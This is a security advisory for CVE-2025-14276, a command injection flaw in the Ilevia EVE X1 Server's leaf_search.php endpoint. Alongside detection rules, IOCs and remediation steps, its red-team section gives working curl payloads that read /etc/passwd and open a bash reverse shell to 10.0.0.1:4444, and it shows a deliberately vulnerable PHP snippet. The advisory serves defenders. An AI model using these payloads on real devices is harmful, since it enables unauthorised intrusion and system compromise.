CVE-2025-14276

Executive Summary

CVE-2025-14276 is a publicly disclosed command injection vulnerability affecting the Ilevia EVE X1 Server, specifically in the /ajax/php/leaf_search.php endpoint. The vulnerability allows an unauthenticated remote attacker to inject arbitrary operating system commands via the line parameter. While the CVSS score is 5.6 (Medium) due to high attack complexity, the public availability of exploit details and the vendor's acknowledgment of the issue elevate the risk for exposed instances. The vendor's primary recommendation is to restrict network access to the management interface, as the vulnerability is considered difficult to exploit but confirmed.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a custom web application component of the Ilevia EVE X1 Server hardware appliance.

CVSS Breakdown & Threat Level

• CVSS Score: 5.6 (Medium)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): High (H) - Requires specific conditions or knowledge of the target environment.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component is the only one affected.
• Confidentiality (C): Low (L) - Limited information disclosure possible.
• Integrity (I): Low (L) - Limited ability to modify data.
• Availability (A): Low (L) - Limited impact on service availability.

Threat Level: Medium. The high attack complexity reduces the immediate threat, but the public exploit and lack of a patch increase the risk for unhardened deployments.

Deep Dive & Mechanics

The vulnerability resides in the leaf_search.php script, which is part of the EVE X1 Server's AJAX API. The script accepts a line parameter and passes it unsanitized to a system shell command. The exact command is likely something like grep -i "<line>" /path/to/leaf_data.txt or similar, where the line argument is concatenated directly into the command string without proper escaping or validation.

Attack Flow:

1. An attacker sends an HTTP POST or GET request to /ajax/php/leaf_search.php with a crafted line parameter.
2. The parameter value contains shell metacharacters (e.g., ;, |, &&, `) to break out of the intended command.
3. The injected command is executed with the privileges of the web server (typically www-data or root).
4. The attacker can then execute arbitrary commands, potentially leading to full system compromise.

Example Payload:

POST /ajax/php/leaf_search.php HTTP/1.1
Host: target-ip
Content-Type: application/x-www-form-urlencoded

line=test;id

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$line = $_REQUEST['line'];
$output = shell_exec("grep -i '$line' /var/data/leaf_data.txt");
echo $output;
?>

Patched Code (Conceptual):

<?php
$line = $_REQUEST['line'];
// Sanitize input: allow only alphanumeric and spaces
if (preg_match('/^[a-zA-Z0-9\s]+$/', $line)) {
    $escaped_line = escapeshellarg($line);
    $output = shell_exec("grep -i $escaped_line /var/data/leaf_data.txt");
    echo $output;
} else {
    echo "Invalid input.";
}
?>

The patched version uses escapeshellarg() to properly escape the input and adds input validation to reject shell metacharacters.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable Ilevia EVE X1 Server (version 4.6.5.0.eden or earlier) in an isolated network.
2. Ensure the web interface is accessible on port 80/443.

Exploitation Steps:

1. Identify the target: nmap -p 80,443 <target-ip>
2. Confirm the endpoint: curl -X POST -d "line=test" http://<target-ip>/ajax/php/leaf_search.php
3. Inject a command to read /etc/passwd:

   curl -X POST -d "line=;cat /etc/passwd" http://<target-ip>/ajax/php/leaf_search.php
   

4. For a reverse shell (if outbound connectivity exists):

   curl -X POST -d "line=;bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" http://<target-ip>/ajax/php/leaf_search.php
   

No Exploit-DB code was provided.

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /ajax/php/leaf_search.php with suspicious line parameters containing shell metacharacters (;, |, &, `).
• Alert on outbound connections from the EVE X1 server to unknown IPs on unusual ports (e.g., 4444, 1337).
• Enable web application firewall (WAF) rules to block command injection patterns.

Hunting:

• Search logs for leaf_search.php requests with non-alphanumeric characters in the line parameter.
• Check for processes spawned by the web server user (e.g., www-data) that are not typical (e.g., bash, nc, python).

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /ajax/php/leaf_search.php with line parameter containing ;, |, &&, or `.
  • Outbound connections from the EVE X1 server to external IPs on high ports (e.g., 4444, 1337, 8080).
• File System:
  • Unexpected files in /tmp/ or /var/tmp/ owned by www-data.
  • Modified or new scripts in the web root (e.g., /var/www/html/).
• Process:
  • Unusual processes like bash, nc, python, perl running under the web server user.
• Logs:
  • Web server access logs showing leaf_search.php with encoded or suspicious line values.
  • System logs (/var/log/syslog) showing command execution errors.

Detection Engineering

YARA Rule

rule CVE_2025_14276_Command_Injection {
    meta:
        description = "Detects command injection attempts against Ilevia EVE X1 leaf_search.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14276"
    strings:
        $suspicious1 = /line=[^&]*[;|&`$(){}]/
        $suspicious2 = /line=[^&]*\b(cat|id|whoami|bash|nc|python|perl)\b/
        $endpoint = "/ajax/php/leaf_search.php"
    condition:
        $endpoint and ($suspicious1 or $suspicious2)
}

Sigma Rule

title: CVE-2025-14276 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting leaf_search.php with command injection patterns
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/ajax/php/leaf_search.php'
        cs-uri-query|re: 'line=[^&]*[;|&`$(){}]'
    condition: selection
falsepositives:
    - Legitimate use of special characters in search queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14276 Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/ajax/php/leaf_search.php"; http_uri; pcre:"/line=[^&]*[;|&`$(){}]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Network Access: Block external access to the EVE X1 management interface (ports 80/443) using a firewall. Only allow access from trusted internal networks.
2. Apply Vendor Workaround: Follow the vendor's advice to close the management port to the outside world.
3. Monitor Logs: Enable detailed logging for the web server and review for exploitation attempts.

Long-Term Fix:

• The vendor has not released a patch. Contact Ilevia support for an updated firmware version.
• If possible, disable the leaf_search.php endpoint or replace it with a secure implementation.
• Implement a Web Application Firewall (WAF) with rules to block command injection patterns.

Compensating Controls:

• Use network segmentation to isolate the EVE X1 server from untrusted networks.
• Deploy an intrusion detection system (IDS) with the provided Suricata rule.
• Regularly audit the device for unauthorized changes.

Valters IT